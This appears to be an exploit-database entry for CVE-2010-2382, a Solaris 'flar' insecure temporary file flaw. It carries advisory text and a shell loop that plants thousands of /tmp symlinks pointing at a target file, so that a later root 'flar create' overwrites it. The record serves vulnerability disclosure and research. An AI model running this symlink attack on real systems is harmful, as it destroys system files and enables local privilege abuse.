Oracle Solaris 8/9/10 - 'flar' Insecure Temporary File Creation

Author: Frank Stuart
type: local
platform: solaris
port: nan
date_added: 2010-07-12 
date_updated: 2014-08-11 
verified: 1 
codes: CVE-2010-2382;OSVDB-66366 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/41619/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

Oracle Solaris 8, 9 and 10 are vulnerable.


   $ x=0
   $ while [ "$x" -le 30000 ];do
   > ln -s /etc/important /tmp/.flash_filter_one_.$x
   > x=$(expr "$x" + 1)
   > done

Later, when root creates a flash archive with:

   # flar create -n junk `pwd`/junk.flar